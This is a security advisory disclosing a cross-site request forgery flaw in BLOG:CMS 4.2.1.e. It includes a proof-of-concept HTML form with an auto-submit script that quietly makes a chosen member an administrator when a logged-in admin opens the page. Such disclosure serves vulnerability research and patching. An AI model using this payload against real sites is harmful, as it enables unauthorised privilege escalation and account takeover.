XSRF (CSRF) in BLOG:CMS

[advisory@xxxxxxxxxxx]

Vulnerability ID: HTB22727
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_blogcms.html
Product: BLOG:CMS
Vendor: Radek Hulán ( http://blogcms.com/ ) 
Vulnerable Version: 4.2.1.e and probably prior versions
Vendor Notification: 30 November 2010 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Not Fixed, Vendor Alerted
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing 
(http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "admin/libs/ADMIN.php" script to 
properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of 
the application, theft of cookie-based authentication credentials, disclosure 
or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is 
available:


<form action="http://host/admin/index.php"; method="post" name="main">
<input type="hidden" name="action" value="changemembersettings">
<input type="hidden" name="memberid" value="USER_UD">
<input type="hidden" name="name" value="tester">
<input type="hidden" name="realname" value="tester">
<input type="hidden" name="password" value="">
<input type="hidden" name="repeatpassword" value="">
<input type="hidden" name="email" value="email@xxxxxxxxxxx">
<input type="hidden" name="url" value="">
<input type="hidden" name="admin" value="1">
<input type="hidden" name="canlogin" value="1">
<input type="hidden" name="notes" value="">
<input type="hidden" name="deflang" value="">
</form>
<script>
document.main.submit();
</script>